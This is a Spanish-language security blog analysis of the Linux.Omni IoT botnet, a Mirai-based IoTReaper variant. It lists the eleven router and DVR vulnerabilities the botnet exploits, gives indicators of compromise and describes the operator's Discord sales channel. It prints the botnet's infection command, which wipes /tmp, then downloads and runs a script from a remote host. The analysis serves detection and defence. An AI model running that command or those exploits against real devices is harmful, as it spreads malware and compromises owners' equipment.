Siguiendo nuestra clasificación y análisis de las amenazas Linux e IoT activas en la actualidad, en el presente artículo vamos a indagar en un malware detectado muy recientemente en nuestros honeypots, la botnet Linux.Omni. Dicha botnet nos ha llamado particularmente la atención debido a las numerosas vulnerabilidades incluídas en su repertorio de infección (11 diferentes en total), pudiendo determinar, finalmente, que se trata de una nueva versión de IoTReaper.
Análisis del binario
Lo primero que nos llama la atención es la etiqueta que se da el malware en el momento de la infección del dispositivo, es decir, OMNI, pues estas últimas semanas estábamos detectando OWARI, TOKYO, SORA, ECCHI… todas ellas versiones de Gafgyt o Mirai y, que poco innovan respecto a lo reportado en artículos anteriores.
Así pues, analizando el método de infección, encontramos las siguientes instrucciones:
Tal y como se puede observar, es un script bastante estándar y, por tanto, importado de otra botnet. Nada nuevo.
A pesar de que todo apuntaba a que la muestra se trataría de una variante estándar de Mirai o Gafgyt, llevamos a cabo la descarga de la muestra.
Lo primero que detectamos es que el binario se encuentra empaquetado con UPX. No está aplicado en la mayoría de muestras, pero no es nada raro observarlo en algunas variantes de botnets más extendidas.
Tras examinar por encima nuestro binario, encontramos que la estructura básica del binario corresponde a Mirai.
Sin embargo, en cuanto exploramos la opciones de infección del binario, encontramos vectores de ataque que, además de la utilización de las credenciales por defecto para su difusión, utiliza vulnerabilidades de dispositivos IoT ya descubiertas e implementadas en otras botnets como IoTReaper o Okiru/Satori, incluso la reciente que afecta a los routers GPON.
Vamos a examinar cuales son estas vulnerabilidades de las que hace uso Omni:
Vacron
Vulnerabilidad que hace uso de la inyección de código en los grabadores de video en red VACRON en el parámetro “board.cgi”, el cual no ha sido bien depurado en el parseo de peticiones HTTP. También la pudimos encontrar en la botnet IoTReaper.
Netgear – CVE-2016-6277
Otra de las vulnerabilidades encontrada en Omni es el CVE-2016-6277, la cual describe la ejecución remota de código a través de una petición GET al directorio “cgi-bin/” de los routers vulnerables. Éstos, son los siguientes:
R6400 R7000
R7000P R7500
R7800 R8000
R8500 R9000
D-Link – OS-Command Injection via UPnP
Al igual que IoTReaper, Omni utiliza una vulnerabilidad de los routers Dlink; sin embargo, mientras que la primera hacía uso de una vulnerabilidad en el overflow de una cookie el parámetro hedwig.cgi, ésta utiliza una vulnerabilidad a través de la interfaz UPnP.
La petición es la siguiente:
Y la podemos encontrar en el binario:
Las versiones del firmware vulnerables son las siguientes:
DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03
CCTV-DVR
Otra vulnerabilidad encontrada en el malware es la que afecta a más de 70 fabricantes diferentes y vinculada al recurso “/language/Swedish”, la cual permite la ejecución remota de código.
La lista de dispositivos vulnerables se puede encontrar aquí:
http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html
D-Link – HNAP
Ésta es una vulnerabilidad reportada en 2014 y la cual ha sido ya utilizada por el malware The Moon, la cual permite el bypass del login a través del CAPTCHA y permite a un atacante externo la ejecución remota de código.
Las versiones de firmware vulnerables en los routers D-Link, son los siguientes:
DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA
TR-069 – SOAP
Esta vulnerabilidad ya fue explotada por la botnet Mirai en noviembre de 2016, la cual provocó la caída del ISP Deutsche Telekom.
La vulnerabilidad es la siguiente:
También la podemos encontrar en el binario.
Huawei Router HG532 – Arbitrary Command Execution
Vulnerabilidad detectada en los routers Huawei HG532 en la incorrecta validación de un fichero de configuración, la cual puede ser explotada a través de la modificación de una petición HTTP.
Esta vulnerabilidad ya fue detectada como parte del malware Okiru/Satori y analizada en un artículo anterior (http://www.securityartwork.es/2017/12/18/analisis-linux-okiru/)
Netgear – Setup.cgi RCE
Vulnerabilidad que afecta al firmware DGN1000 1.1.00.48 de los routers Netgear, la cual permite la ejecución remota de código sin autenticación previa.
Realtek SDK
Diferentes dispositivos utilizan el SDK de Realtek con el demonio miniigd vulnerable a la inyección de comandos a través de la interfaz SOAP de UPnP. Esta vulnerabilidad, del mismo modo que la mencionada anteriormente relativa a routers Huawei HG532, ya la pudimos encontrar en muestras de la botnet Okiru/Satori.
GPON
Finalmente, encontramos la vulnerabilidad de moda este último mes, la cual afecta a los routers GPON y ya incorporada tanto a botnets IoT como a mineros que afectan a servidores Linux.
Por otra parte, la botnet también hace uso de la difusión a través de las credenciales por defecto (vía por la que nuestro sistema honeypot fue infectado), aunque éstas se encuentran codificadas con una clave XOR diferente a la 0x33 (habitual en la forma base) donde cada una de las combinaciones ha sido codificada con una clave diferente.
Análisis de la infraestructura
A pesar de la variedad en los vectores de ataque, los comandos ejecutados sobre el dispositivo son los mismos:
cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}
El archivo descargado es un script en bash, el cual descarga la muestra según la arquitectura del dispositivo infectado.
Tal y como podemos observar, este exploit no corresponde con la muestra analizada, sino que únicamente está dedicado a la búsqueda de dispositivos con interfaces HTTP potencialmente vulnerables, así como el chequeo de la vulnerabilidad de credenciales por defecto, obteniendo así dos tipos de infecciones, aquella que utiliza las 11 vulnerabilidades anteriormente expuestas y aquella que únicamente se dedica a reportar la existencia de servicios HTTP expuestos o credenciales por defecto en objetivos potenciales.
Por tanto, la arquitectura es muy similar a la encontrada anteriormente en la botnet IoTReaper.
Detrás de Omni
Investigando las referencias en los binarios encontramos la dirección IP 213.183.53[.]120, la cual es referenciada como servidor de descarga de las muestras. A pesar de no encontrar un directory listing disponible (en otras variantes es bastante habitual encontrarlo), en el directorio raíz encontramos una plataforma “Discord”, la cual es (oficialmente) un chat de texto y voz para el público gamer.
Así pues, visto que no requería de permisos o invitación especial, decidimos escoger un nombre megahacker, y entrar en el chat.
Una vez dentro, observamos que la temática general del chat, no son los videojuegos, sino una plataforma para la venta de los servicios de la botnet.
Tras un par de minutos en la sala, ya se deduce que, la persona que está detrás de la infraestructura es el usuario Scarface, el cual ha decidido hacerse unos carteles de publicidad bastante molones (y acordes con la estética del film homónimo).
Además, también ofrece soporte, así como solicitudes de potenciales consumidores que solicitan evidencias de que su botnet es capaz de conseguir un volumen de tráfico de 60 Gbps.
Podemos encontrar comportamientos bastante curiosos y que denotan la poca profesionalidad por parte del este grupo de ciberdelincuentes, por ejemplo cómo Scarface muestra el beneficio que lleva obtenido con la botnet (y lo ridículo de la cantidad) o cómo temen que cualquiera de los que hayan entrado en el chat sean policías.
Así pues, podemos determinar que el malware Linux.Omni es una versión actualizada del malware IoTReaper, la cual utiliza el mismo formato de arquitectura de red, además de importar, prácticamente, todo el código fuente de Mirai.
Adjuntamos la regla Yara para la detección del malware Linux.Omni:
IoC
213.183.53[.]120 21aa9c42b42e95c98e52157fd63f36c289c29a7b7a3824f4f70486236a2985ff 4cf7e64c3b9c1ad5fa57d0d0bbdeb930defcdf737fda9639955be1e78b06ded6 6dfd411f2558e533728bfb04dd013049dd765d61e3c774788e3beca404e0fd73 000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63 5ad981aefed712909294af47bce51be12524f4b547a63d7faaa40d3260e73235 31a2779c91846e37ad88e9803cbad8f8931e3229e88037f1d27437141ecbd164 528344fd220eff87b7494ca94caed6eae7886d8003ad37154fdb7048029e880b cfca058a4d0a29b3da285a5df21b14c360fb3291dff3c941659fe27f3738ba3e 2b32375864d0849e676536b916465a1fbb754bbdf783421948023467d364fb4c 700c9b51e6f8750a20fcc7019207112690974dcda687a83626716d8233923c17 feb362167c9251dd877a0d76d3b42b68fcd334181946523ca808382852f48b7d ca6bc4e4c490999f97ee3fd1db41373fc0ba114dce2e88c538998d19a6f694da fc4cfc6300e3122ef9bbe6da3634d3b9839e833e4fc2cea8f1498623398af015 0fd93aeb2af3541daa152d9aff8388c89211b99d46ead1220c539fa178543bca 02a61e1d80b1f25d161de8821a31cd710987772668ce62c8be6d9afabe932712 377a49403cef46902e77ff323fcc9a8f74ea041743ccdbff41de3c063367c99a 812aa39075027b21671e5a628513378c598aef0feb57d0f5d837375c73ade8e8 c9caccd707504634185ee2a94302e3964fb6747963e7020dffa34de85bd4d2ce a159c7b5d2c38071eb11f5e28b26f7d8beaf6f0f19a8c704687f26bfa9958d78 5eb7801551ee15baec5ef06b0265d0d0cc8488f16763517344bb8456a2831b82 2f1d0794d24b7b4f164ebce5bdde6fccd57cdbf91ea90ec2f628caf7fd991ce4
Mis dies!